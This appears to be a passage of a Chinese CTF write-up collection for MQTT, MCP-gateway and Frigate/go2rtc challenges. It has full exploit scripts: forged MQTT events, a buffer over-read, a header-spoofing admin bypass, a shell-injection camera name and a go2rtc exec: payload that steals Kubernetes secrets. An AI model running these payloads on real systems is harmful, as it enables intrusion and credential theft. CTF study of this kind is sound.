POST /api/topup 返回一个 claim token。钱包使用客户端可控的 topup_id 去重,没有按 claim token 限制入账次数。使用同一 claim token 和四个不同 UUID 发布四次 topup.requested,四次都会增加 100 余额。

购买受限商品 key2-badge 时,订单服务先扣除 60,再把订单取消。正常事件暴露了完整的 order.paid 格式。向 tenant/alice/orders/events 伪造该订单的 order.paid 后,履约服务不再查询订单状态,直接发货并返回 key2。

余额足够后,使用 GHOST60 购买价格 600 的 key4-crown,实付 240,从发货记录取得 key4。再购买价格 150 的 gold-plate。皇冠和金盘均满足会员计划的单价条件,第二笔支付完成后,tenant/alice/alerts 返回 GOLD 奖励 key3。

key5:自动化二次转发与遥测越界读

自动化中继只允许外层目标位于 internal/audit/*。审计入口会继续按照内层 forward 字段转发 body,所以可以使用如下结构到达 internal/telemetry/ingest:

{
  "target": "internal/audit/ingest",
  "payload": {
    "forward": "internal/telemetry/ingest",
    "body": {
      "frame": "...",
      "reply_to": "tenant/alice/telemetry/acks"
    }
  }
}

遥测帧中的记录格式为 tag | len | value。原生代理没有检查 len 是否超过实际剩余数据。构造 28 字节短帧,并让最后一条 annotation 记录声明长度为 255:

54 4d 01 02
10 14 41 41 ... 41
21 ff

代理会从短帧末尾继续复制 255 字节到 echo。泄漏数据中包含相邻配置结构:

CFG1<32 个十六进制字符>\x00...v2.3-native

提取 CFG1 后的 32 字符 boot session token,再发送 tag=0x30,len=32,value=token 的合法诊断帧,诊断响应的 escrow.key5 即为 key5。

key6:伪造重复退款流水

取消已支付的 gold-plate 后,可以观察一条真实的 refund.processed:

{
  "amount": 150,
  "order_id": "...",
  "refund_id": "...",
  "type": "refund.processed",
  "user": "alice"
}

复制该事件,只更换 refund_id,再发布到 tenant/alice/billing/events。对账服务累计后发现同一订单出现两次退款,在 tenant/alice/alerts 发出 integrity.alert 并附带 key6。

Exp

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import re
import ssl
import threading
import time
import uuid
from dataclasses import dataclass
from typing import Callable

import paho.mqtt.client as mqtt
import requests

API_TOKEN = "alice-token-7f3d9c"
MQTT_USER = "alice"
MQTT_PASSWORD = "alice-mqtt-s3cret"


@dataclass
class Event:
    topic: str
    body: dict[str, object]


class GhostClient:
    def __init__(self, http_base: str, mqtt_host: str, mqtt_port: int) -> None:
        self.http_base = http_base.rstrip("/")
        self.session = requests.Session()
        self.session.headers["Authorization"] = f"Bearer {API_TOKEN}"
        self.events: list[Event] = []
        self.condition = threading.Condition()
        self.ready = threading.Event()

        self.mqtt = mqtt.Client(
            callback_api_version=mqtt.CallbackAPIVersion.VERSION2,
            client_id=f"alice-exp-{uuid.uuid4()}",
            protocol=mqtt.MQTTv311,
        )
        self.mqtt.username_pw_set(MQTT_USER, MQTT_PASSWORD)
        self.mqtt.tls_set(cert_reqs=ssl.CERT_NONE)
        self.mqtt.tls_insecure_set(True)
        self.mqtt.on_connect = self._on_connect
        self.mqtt.on_subscribe = self._on_subscribe
        self.mqtt.on_message = self._on_message
        self.mqtt.connect(mqtt_host, mqtt_port, keepalive=30)
        self.mqtt.loop_start()
        if not self.ready.wait(10):
            raise RuntimeError("MQTT subscription timeout")

    def close(self) -> None:
        self.mqtt.disconnect()
        self.mqtt.loop_stop()
        self.session.close()

    def _on_connect(self, client, userdata, flags, reason_code, properties) -> None:
        if reason_code != 0:
            raise RuntimeError(f"MQTT connect failed: {reason_code}")
        client.subscribe("tenant/alice/#", qos=1)
        client.subscribe("public/#", qos=1)

    def _on_subscribe(self, client, userdata, mid, reason_codes, properties) -> None:
        self.ready.set()

    def _on_message(self, client, userdata, message) -> None:
        try:
            body = json.loads(bytes(message.payload).decode("utf-8"))
        except (UnicodeDecodeError, json.JSONDecodeError):
            return
        if not isinstance(body, dict):
            return
        with self.condition:
            self.events.append(Event(message.topic, body))
            self.condition.notify_all()

    def mark(self) -> int:
        with self.condition:
            return len(self.events)

    def wait_event(
        self,
        predicate: Callable[[Event], bool],
        after: int,
        timeout: float = 15,
    ) -> Event:
        deadline = time.monotonic() + timeout
        with self.condition:
            while True:
                for event in self.events[after:]:
                    if predicate(event):
                        return event
                remaining = deadline - time.monotonic()
                if remaining <= 0:
                    raise TimeoutError("expected MQTT event did not arrive")
                self.condition.wait(remaining)

    def publish(self, topic: str, body: dict[str, object]) -> None:
        payload = json.dumps(body, separators=(",", ":"))
        info = self.mqtt.publish(topic, payload, qos=1)
        info.wait_for_publish(timeout=10)
        if not info.is_published():
            raise RuntimeError(f"publish failed: {topic}")

    def relay(self, target: str, body: dict[str, object]) -> None:
        self.publish(
            "tenant/alice/automation",
            {
                "target": "internal/audit/ingest",
                "payload": {"forward": target, "body": body},
            },
        )

    def get(self, path: str) -> requests.Response:
        response = self.session.get(self.http_base + path, timeout=10)
        response.raise_for_status()
        return response

    def post(
        self,
        path: str,
        body: dict[str, object] | None = None,
        allowed: tuple[int, ...] = (200,),
    ) -> requests.Response:
        response = self.session.post(self.http_base + path, json=body, timeout=10)
        if response.status_code not in allowed:
            raise RuntimeError(
                f"POST {path} failed: {response.status_code} {response.text}"
            )
        return response

    def shipment_key(self, order_id: str, timeout: float = 10) -> str:
        deadline = time.monotonic() + timeout
        while time.monotonic() < deadline:
            for shipment in self.get("/api/shipments").json():
                if shipment.get("order_id") == order_id and shipment.get("key"):
                    return str(shipment["key"])
            time.sleep(0.2)
        raise TimeoutError(f"shipment key did not arrive for {order_id}")


def get_key1(client: GhostClient) -> str:
    mark = client.mark()
    restart = client.post("/api/jobs", {"type": "restart", "payload": {}}).json()
    restart_job = restart["job_id"]
    approval_id = restart["approval_id"]
    client.wait_event(
        lambda e: e.topic == "tenant/alice/jobs/results"
        and e.body.get("job_id") == restart_job,
        mark,
    )

    # restart clears the executor's used-approval set, but the approval survives.
    time.sleep(2)
    forged_job = str(uuid.uuid4())
    mark = client.mark()
    client.publish(
        "tenant/alice/jobs/submit",
        {
            "job_id": forged_job,
            "user": "alice",
            "role": "admin",
            "type": "get_key1",
            "payload": {},
            "approval_id": approval_id,
        },
    )
    result = client.wait_event(
        lambda e: e.topic == "tenant/alice/jobs/results"
        and e.body.get("job_id") == forged_job,
        mark,
    ).body
    match = re.search(r"key1-[0-9a-f]+", str(result.get("output", "")))
    if not match:
        raise RuntimeError(f"key1 was not returned: {result}")
    return match.group(0)


def replay_topup(client: GhostClient, count: int = 4) -> None:
    claim = client.post("/api/topup").json()["claim_token"]
    for _ in range(count):
        mark = client.mark()
        client.publish(
            "tenant/alice/topup/events",
            {
                "claim_token": claim,
                "topup_id": str(uuid.uuid4()),
                "type": "topup.requested",
                "user": "alice",
            },
        )
        client.wait_event(
            lambda e: e.topic == "tenant/alice/billing/events"
            and e.body.get("type") == "topup.processed"
            and e.body.get("claim_token") == claim,
            mark,
        )


def get_order_keys(client: GhostClient) -> tuple[str, str, str, str]:
    # The HTTP service creates and charges the restricted order before cancelling it.
    restricted = client.post(
        "/api/orders", {"item": "key2-badge"}, allowed=(403,)
    ).json()
    badge_order = restricted["order_id"]
    client.publish(
        "tenant/alice/orders/events",
        {
            "order_id": badge_order,
            "user": "alice",
            "item": "key2-badge",
            "price": 60,
            "type": "order.paid",
        },
    )
    key2 = client.shipment_key(badge_order)

    crown = client.post(
        "/api/orders", {"item": "key4-crown", "coupon": "GHOST60"}
    ).json()
    crown_order = crown["order_id"]
    key4 = client.shipment_key(crown_order)

    mark = client.mark()
    gold = client.post("/api/orders", {"item": "gold-plate"}).json()
    gold_order = gold["order_id"]
    loyalty = client.wait_event(
        lambda e: e.topic == "tenant/alice/alerts"
        and e.body.get("type") == "loyalty.reward"
        and isinstance(e.body.get("key"), str),
        mark,
    ).body
    return key2, str(loyalty["key"]), key4, gold_order


def get_key5(client: GhostClient) -> str:
    # value starts at offset 28. len=255 makes the native agent copy past the
    # short frame and disclose the adjacent CFG1 + boot-token structure.
    frame = b"TM" + bytes((1, 2, 0x10, 20)) + b"A" * 20 + bytes((0x21, 0xFF))
    mark = client.mark()
    client.relay(
        "internal/telemetry/ingest",
        {"frame": frame.hex(), "reply_to": "tenant/alice/telemetry/acks"},
    )
    leak = client.wait_event(
        lambda e: e.topic == "tenant/alice/telemetry/acks"
        and isinstance(e.body.get("echo"), str),
        mark,
    ).body
    leaked = bytes.fromhex(str(leak["echo"]))
    match = re.search(rb"CFG1([0-9a-f]{32})", leaked)
    if not match:
        raise RuntimeError("boot token was not present in the telemetry leak")
    boot_token = match.group(1)

    diag = b"TM" + bytes((1, 1, 0x30, len(boot_token))) + boot_token
    mark = client.mark()
    client.relay(
        "internal/telemetry/ingest",
        {"frame": diag.hex(), "reply_to": "tenant/alice/telemetry/acks"},
    )
    result = client.wait_event(
        lambda e: e.topic == "tenant/alice/telemetry/acks"
        and e.body.get("type") == "diag"
        and isinstance(e.body.get("escrow"), dict),
        mark,
    ).body
    return str(result["escrow"]["key5"])


def get_key6(client: GhostClient, order_id: str) -> str:
    mark = client.mark()
    client.post(f"/api/orders/{order_id}/cancel")
    refund = client.wait_event(
        lambda e: e.topic == "tenant/alice/billing/events"
        and e.body.get("type") == "refund.processed"
        and e.body.get("order_id") == order_id,
        mark,
    ).body

    forged = dict(refund)
    forged["refund_id"] = str(uuid.uuid4())
    mark = client.mark()
    client.publish("tenant/alice/billing/events", forged)
    alert = client.wait_event(
        lambda e: e.topic == "tenant/alice/alerts"
        and e.body.get("type") == "integrity.alert"
        and isinstance(e.body.get("key"), str),
        mark,
    ).body
    return str(alert["key"])


def main() -> None:
    parser = argparse.ArgumentParser()
    parser.add_argument(
        "--http", default="http://wqczlle7.nestctf.cyberpeace.cn:58080"
    )
    parser.add_argument(
        "--mqtt-host", default="sartktyz.nestctf.cyberpeace.cn"
    )
    parser.add_argument("--mqtt-port", type=int, default=58999)
    args = parser.parse_args()

    client = GhostClient(args.http, args.mqtt_host, args.mqtt_port)
    try:
        keys: dict[str, str] = {}
        keys["k1"] = get_key1(client)
        replay_topup(client)
        keys["k2"], keys["k3"], keys["k4"], gold_order = get_order_keys(client)
        keys["k5"] = get_key5(client)
        keys["k6"] = get_key6(client, gold_order)

        final: dict[str, object] = {}
        for slot in ("k1", "k2", "k3", "k4", "k5", "k6"):
            print(f"{slot}: {keys[slot]}")
            final = client.post("/api/vault/submit", {"key": keys[slot]}).json()
        print("flag:", final.get("flag"))
    finally:
        client.close()


if __name__ == "__main__":
    main()

Flag

flag{Yuhbb6vJtDFAjNtQoMdfX23lOAIl7qPNuo0DHgjR}

20. Crossed Signal

Crossed Signals

Flag:flag{mZ5OQWKbP2gxsBkyEMY9q2BU1xswGji0uPPndGFK}

Web / MCP 网关越权。入口 http://<host>:58080/,凭据 advisor@northline.test : Service-Desk-2026(登录字段是 username,不是 email)。
目标:受限工单 SR-26042 / VIN CTF6SVC0000000002(失联的验证车)里封存的 recovery token。

思路

四层防护,但每层”判定依据“和”执行依据“取自不同字段 —— 四次交叉逐层捅穿:

# 交叉 判定用 执行用
1 参数 头 Mcp-Param-VIN(自己被分配的车) body arguments.vin(目标车)
2 工具名 头 Mcp-Name(低权限工具) body params.name(特权工具)
3 状态 客户端不该能写 release_state POST /notes 直接采纳
4 内容 预览被裁掉 private/* manifest 仍列出该条目名

链路:跨车队读快照 → 拿 diagnostic_ref/evidence_ref → 工具名交叉导出 bundle → release_state 批量赋值 → 下载完整 zip。

基线信息:/api/me 给出 assigned_vins=["CTF6SVC0000000001"]、tool_endpoint=/mcp,角色 service_advisor;
/api/cases 里 SR-26042 的 access:"restricted"(元数据可见、车辆数据受限)。
工具只有 3 个,vin 参数带 "x-mcp-header": "VIN" —— 这句协议注解就是交叉的入口:
get_vehicle_health、get_update_status、export_case_bundle(”Security operations only”)。

关键请求

MCP 调用是 JSON-RPC over HTTP,必须带 MCP-Protocol-Version: 2026-07-28 与完整 _meta(三键),否则 -32600 Invalid request metadata。

读受限车

curl -s -X POST "$B/mcp" -H "Authorization: Bearer $TOK" -H 'Content-Type: application/json' \
  -H 'Accept: application/json, text/event-stream' -H 'MCP-Protocol-Version: 2026-07-28' \
  -H 'Mcp-Method: tools/call' -H 'Mcp-Name: get_vehicle_health' \
  -H 'Mcp-Param-VIN: CTF6SVC0000000001' \            # 自己的车 → 授权通过
  -d '{"jsonrpc":"2.0","id":1,"method":"tools/call","params":{
       "name":"get_vehicle_health",
       "arguments":{"vin":"CTF6SVC0000000002"},      # 目标车 → 实际执行
       "_meta":{"io.modelcontextprotocol/protocolVersion":"2026-07-28",
                "io.modelcontextprotocol/clientInfo":{"name":"northline-service-console","version":"1.0.0"},
                "io.modelcontextprotocol/clientCapabilities":{}}}}'

→ diagnostic_ref: DX-8f007c7d22e46987479ae6be;同法 get_update_status 得 evidence_ref: EV-c3f2ba2de31d8e1b61137f32。
(反过来头也填目标 VIN 会 vehicle_scope_denied,说明授权确实看头。)

绕过 scope

# 直接调用 → {"error":"tool_scope_denied"}
# 改成:头=低权限工具,体=特权工具
  -H 'Mcp-Name: get_vehicle_health' \
  -d '{"jsonrpc":"2.0","id":10,"method":"tools/call","params":{
       "name":"export_case_bundle",
       "arguments":{"vin":"CTF6SVC0000000002","case_id":"SR-26042",
                    "diagnostic_ref":"DX-8f00...","evidence_ref":"EV-c3f2..."},"_meta":{...}}}'

→ 返回 bundle_id、preview_b64、release_state:"pending"、download_url。
预览 ZIP 只有 diagnostics/*,但 manifest 明写 private/recovery.txt;下载报
403 {"error":"bundle_release_pending","required_release_state":"approved"}。

状态批量赋值 → 下载

# 对照组:只发文本,即使内容就是 approved,状态也不变
POST /api/bundles/<id>/notes  {"note":"approved"}                            → release_state:"pending"
# 攻击:附带状态字段,被直接采纳
POST /api/bundles/<id>/notes  {"note":"approve","release_state":"approved"}  → release_state:"approved"

GET /api/bundles/<id>/download   → 200 application/zip

private/recovery.txt:

NORTHLINE / SECURITY OPERATIONS
Case: SR-26042
Vehicle: CTF6SVC0000000002
Recovery token: flag{mZ5OQWKbP2gxsBkyEMY9q2BU1xswGji0uPPndGFK}

PoC

import base64, io, json, urllib.request, zipfile
B = "http://<host>:58080"; MY = "CTF6SVC0000000001"; TGT = "CTF6SVC0000000002"
META = {"io.modelcontextprotocol/protocolVersion": "2026-07-28",
        "io.modelcontextprotocol/clientInfo": {"name": "northline-service-console", "version": "1.0.0"},
        "io.modelcontextprotocol/clientCapabilities": {}}

def post(path, body, tok=None, hdr=None):
    h = {"Content-Type": "application/json", **(hdr or {})}
    if tok: h["Authorization"] = "Bearer " + tok
    r = urllib.request.Request(B + path, data=json.dumps(body).encode(), headers=h)
    with urllib.request.urlopen(r, timeout=20) as x: return x.status, x.read()

def mcp(tok, hname, bname, args):
    h = {"Accept": "application/json, text/event-stream", "MCP-Protocol-Version": "2026-07-28",
         "Mcp-Method": "tools/call", "Mcp-Name": hname, "Mcp-Param-VIN": MY}  # 头=自己
    _, raw = post("/mcp", {"jsonrpc": "2.0", "id": 1, "method": "tools/call",
                           "params": {"name": bname, "arguments": args, "_meta": META}}, tok, h)
    return json.loads(raw)

tok = json.loads(post("/api/login", {"username": "advisor@northline.test",
                                     "password": "Service-Desk-2026"})[1])["token"]
dx = mcp(tok, "get_vehicle_health", "get_vehicle_health", {"vin": TGT})["result"]["structuredContent"]["diagnostic_ref"]
ev = mcp(tok, "get_update_status",  "get_update_status",  {"vin": TGT})["result"]["structuredContent"]["evidence_ref"]
sc = mcp(tok, "get_vehicle_health", "export_case_bundle",   # ← 工具名交叉
         {"vin": TGT, "case_id": "SR-26042", "diagnostic_ref": dx, "evidence_ref": ev}
        )["result"]["structuredContent"]
post(f"/api/bundles/{sc['bundle_id']}/notes", {"note": "approve", "release_state": "approved"}, tok)
z = zipfile.ZipFile(io.BytesIO(post(f"/api/bundles/{sc['bundle_id']}/download", None, tok)[1]))
print(z.read("private/recovery.txt").decode())

21. Undercurrent

信息收集

站点根路径返回 404,但 /health 暴露了服务的关键配置:

{
  "ok": true,
  "service": "stream-test",
  "mqtt_websocket_path": "/mqtt",
  "mqtt_subprotocol": "mqtt",
  "event_topic_pattern": "frigate/+/events",
  "telemetry_topic_pattern": "home/+/telemetry"
}

MQTT WebSocket 不需要用户名和密码。匿名客户端可以订阅 #,也可以向任意主题发布消息。

伪造摄像头事件

向 frigate/front_door/events 发布一个 Frigate person 事件后,家庭自动化立即在 home/f4288aeed0e5d75e/telemetry 返回:

unlock-ok:unlock --camera front_door

将 MQTT 主题中的摄像头名改掉、保留 JSON 中的 after.camera 后,返回值仍使用 JSON 中的值,说明命令参数来自 after.camera。

自动化把该字段拼入了单引号包裹的 shell 命令。分号、换行和命令替换单独出现时都处于单引号内,因此只会被当成普通字符。使用下面的摄像头名可以闭合单引号,并用注释吞掉命令末尾原有的引号:

front_door';id;#

遥测回显了命令执行结果:

uid=103(homeassistant) gid=105(homeassistant) groups=105(homeassistant),1000(ping),1001(audio),1002(video),1003(dialout)

将命令换成 cat /flag 即可通过相同的遥测主题取得 flag。完整注入值为:

front_door';cat /flag;#

Exp

依赖 paho-mqtt==2.1.0。

#!/usr/bin/env python3
"""Undercurrent exploit: forge a Frigate event and read the command output."""

from __future__ import annotations

import argparse
import json
import os
import re
import sys
import threading
import time

import paho.mqtt.client as mqtt


FLAG_RE = re.compile(rb"flag\{[^}\r\n]+\}")


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--host", default="eel6a8j5.nestctf.cyberpeace.cn")
    parser.add_argument("--port", type=int, default=58080)
    args = parser.parse_args()

    connected = threading.Event()
    subscribed = threading.Event()
    finished = threading.Event()
    result: dict[str, str] = {}

    # The automation builds a shell command equivalent to:
    #   unlock --camera '<after.camera>'
    # Close the quote, read the flag, and comment out the trailing quote.
    camera = "front_door';cat /flag;#"
    event_id = f"{time.time():.6f}-exp"
    event = {
        "type": "new",
        "before": {
            "id": event_id,
            "camera": camera,
            "label": "person",
            "false_positive": False,
        },
        "after": {
            "id": event_id,
            "camera": camera,
            "label": "person",
            "false_positive": False,
            "active": True,
        },
    }

    def on_connect(client, userdata, flags, reason_code, properties):
        if reason_code != 0:
            result["error"] = f"MQTT connection failed: {reason_code}"
            finished.set()
            return
        connected.set()
        client.subscribe("home/+/telemetry", qos=0)

    def on_subscribe(client, userdata, mid, reason_codes, properties):
        subscribed.set()

    def on_message(client, userdata, message):
        payload = bytes(message.payload)
        match = FLAG_RE.search(payload)
        if match:
            result["flag"] = match.group().decode("ascii")
            finished.set()

    client = mqtt.Client(
        mqtt.CallbackAPIVersion.VERSION2,
        client_id=f"undercurrent-exp-{os.getpid()}-{int(time.time())}",
        protocol=mqtt.MQTTv311,
        transport="websockets",
    )
    client.ws_set_options(path="/mqtt")
    client.on_connect = on_connect
    client.on_subscribe = on_subscribe
    client.on_message = on_message

    try:
        client.connect(args.host, args.port, keepalive=10)
        client.loop_start()
        if not connected.wait(4) or not subscribed.wait(4):
            print(result.get("error", "MQTT connect/subscribe timeout"), file=sys.stderr)
            return 1

        payload = json.dumps(event, separators=(",", ":"), ensure_ascii=False)
        info = client.publish("frigate/front_door/events", payload, qos=1, retain=False)
        if info.rc != mqtt.MQTT_ERR_SUCCESS:
            print(f"MQTT publish failed: {info.rc}", file=sys.stderr)
            return 1

        if not finished.wait(8):
            print("No flag-bearing telemetry received", file=sys.stderr)
            return 1
        if "flag" not in result:
            print(result.get("error", "Exploit failed"), file=sys.stderr)
            return 1

        print(result["flag"])
        return 0
    finally:
        try:
            client.disconnect()
        except Exception:
            pass
        client.loop_stop()


if __name__ == "__main__":
    raise SystemExit(main())

运行结果:

flag{As28251XBQs1rZSnHRu5yLYgGahUJZhrfKE7JmR6}

Flag:flag{As28251XBQs1rZSnHRu5yLYgGahUJZhrfKE7JmR6}


22. Ingress Control

鉴权边界

入口是 Frigate 0.17.1,内部使用 go2rtc 1.9.10。未携带凭据访问 /api/profile 时得到 viewer 角色。Frigate 的 Nginx 会把一组常见反向代理头转发给内部 /auth 子请求,当前配置又把 x-forwarded-groups 映射为角色来源,同时关闭了 Frigate 自身认证,也没有配置用于验证上游代理身份的共享密钥。

因此客户端可以直接发送:

X-Forwarded-Groups: admin

再次访问 /api/profile 后角色变为 admin,随后可以调用管理员接口 /api/config/raw 和 /api/config/save。这里的核心问题是入口把客户端可控头带入了只应信任上游代理的身份边界。

两阶段配置展开

直接向 go2rtc.streams 写入 exec: 不可用。Frigate 生成 go2rtc 配置时会先执行 Python str.format,然后删除以 echo:、expr: 或 exec: 开头的流来源:

formatted_stream = stream.format(**FRIGATE_ENV_VARS)
if is_restricted_source(formatted_stream):
    del go2rtc_config["streams"][name]

go2rtc 读取生成后的配置时还会进行一次不同语法的环境变量展开:

data = []byte(shell.ReplaceEnvVars(string(data)))

该展开支持 ${NAME:default},变量不存在时使用 default。在原始配置中写入下面的形式:

pwn: ${{INGRESS_UNUSED:exec:/bin/sh -c '...'}}

Python str.format 会把双花括号折叠成单花括号,第一阶段得到 ${INGRESS_UNUSED:exec:/bin/sh -c '...'}。此时字符串以 $ 开头,可以通过 Frigate 的限制检查。go2rtc 随后发现 INGRESS_UNUSED 不存在,把默认值还原为 exec:/bin/sh -c '...',最终注册为可执行流。

保存配置并请求下面的地址后,Frigate 的 ffprobe 会连接本机 RTSP 服务并拉取 pwn 流,从而触发命令:

/api/ffprobe?paths=rtsp%3A%2F%2F127.0.0.1%3A8554%2Fpwn&detailed=true

跨越凭据边界

命令以 media 用户执行,而 /flag 是 root:root、权限为 0600,无法直接读取。平台为 media 用户挂载了 Kubernetes 风格的服务账户令牌和 CA 证书。该主令牌只能列出 edge-ns 中的 Secret,列表内的 relay-reader-token 又指向 camera-ns 中的 fleet-attestation。

利用命令先携带主令牌请求 edge-ns Secret 列表,取出并解码中继令牌;再用中继令牌请求:

/api/v1/namespaces/camera-ns/secrets/fleet-attestation

响应的 data.payload 是 flag 的 Base64。命令只把最终解码结果写入标准错误,并通过 go2rtc 的 exec: debug 日志读取。Exp 在结束时会恢复原始配置。

Exp

#!/usr/bin/env python3
from __future__ import annotations

import argparse
import json
import re
import time
import urllib.error
import urllib.parse
import urllib.request


EXPLOIT_CONFIG = r'''mqtt:
  enabled: false
  client_id: "{HOSTNAME}"

auth:
  enabled: false

proxy:
  header_map:
    user: x-forwarded-user
    role: x-forwarded-groups
  default_role: viewer
  separator: ','

go2rtc:
  log:
    format: text
    exec: debug
  streams:
    pwn: >-
      ${{INGRESS_UNUSED:exec:/bin/sh -c 'T=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); C=/var/run/secrets/kubernetes.io/serviceaccount/ca.crt; R=$(curl -fsS --cacert $C -H "Authorization: Bearer $T" https://kubernetes.default.svc:6443/api/v1/namespaces/edge-ns/secrets | jq -r ".items[1].data.token" | base64 -d); curl -fsS --cacert $C -H "Authorization: Bearer $R" https://kubernetes.default.svc:6443/api/v1/namespaces/camera-ns/secrets/fleet-attestation | jq -r ".data.payload" | base64 -d >&2'}}

tls:
  enabled: false

cameras:
  yard:
    enabled: false
    ffmpeg:
      inputs:
        - path: rtsp://127.0.0.1:65535/camera-not-connected
          roles: [detect]

version: 0.17-0
'''

ADMIN_HEADERS = {
    "X-Forwarded-Groups": "admin",
    "User-Agent": "Ingress-Control-Exp/1.0",
}


class Client:
    def __init__(self, base_url: str):
        self.base_url = base_url.rstrip("/")

    def request(
        self,
        path: str,
        *,
        data: bytes | None = None,
        headers: dict[str, str] | None = None,
        timeout: float = 20,
    ) -> tuple[int, bytes]:
        request_headers = dict(headers or {})
        method = "POST" if data is not None else "GET"
        request = urllib.request.Request(
            self.base_url + path,
            data=data,
            headers=request_headers,
            method=method,
        )
        try:
            with urllib.request.urlopen(request, timeout=timeout) as response:
                return response.status, response.read()
        except urllib.error.HTTPError as error:
            return error.code, error.read()

    def get_original_config(self) -> str:
        status, body = self.request("/api/config/raw", headers=ADMIN_HEADERS)
        if status != 200:
            raise RuntimeError(f"读取原始配置失败,HTTP {status}: {body!r}")

        text = body.decode("utf-8")
        try:
            decoded = json.loads(text)
        except json.JSONDecodeError:
            return text
        return decoded if isinstance(decoded, str) else text

    def save_config(self, config: str) -> None:
        headers = dict(ADMIN_HEADERS)
        headers["Content-Type"] = "text/plain"
        status, body = self.request(
            "/api/config/save?save_option=restart",
            data=config.encode("utf-8"),
            headers=headers,
            timeout=30,
        )
        if status != 200:
            raise RuntimeError(f"保存配置失败,HTTP {status}: {body!r}")

    def log_count(self) -> int:
        status, body = self.request("/api/logs/go2rtc")
        if status != 200:
            return 0
        try:
            return int(json.loads(body)["totalLines"])
        except (ValueError, KeyError, TypeError, json.JSONDecodeError):
            return 0

    def trigger_stream(self) -> None:
        query = urllib.parse.urlencode(
            {
                "paths": "rtsp://127.0.0.1:8554/pwn",
                "detailed": "true",
            }
        )
        self.request(f"/api/ffprobe?{query}", headers=ADMIN_HEADERS)

    def new_logs(self, start: int) -> bytes:
        query = urllib.parse.urlencode({"start": start})
        status, body = self.request(f"/api/logs/go2rtc?{query}")
        return body if status == 200 else b""


def solve(base_url: str) -> str:
    client = Client(base_url)
    original_config = client.get_original_config()
    first_new_line = client.log_count()
    flag: str | None = None

    try:
        client.save_config(EXPLOIT_CONFIG)
        time.sleep(3)

        deadline = time.monotonic() + 15
        while time.monotonic() < deadline:
            client.trigger_stream()
            logs = client.new_logs(first_new_line).decode("utf-8", errors="replace")
            match = re.search(r"flag\{[^}\r\n]+\}", logs)
            if match:
                flag = match.group(0)
                break
            time.sleep(0.75)
    finally:
        client.save_config(original_config)
        time.sleep(3)

    if flag is None:
        raise RuntimeError("未在新产生的 go2rtc 日志中找到 flag")
    return flag


def main() -> None:
    parser = argparse.ArgumentParser(description="Ingress Control exploit")
    parser.add_argument(
        "base_url",
        nargs="?",
        default="http://idhwjdak.nestctf.cyberpeace.cn:58080",
    )
    args = parser.parse_args()
    print(solve(args.base_url))


if __name__ == "__main__":
    main()

flag{ElCOhwmlYpqnljfIPWVdSNmQ7f1VE9yfZf8hR0dU}


按标签浏览全部文章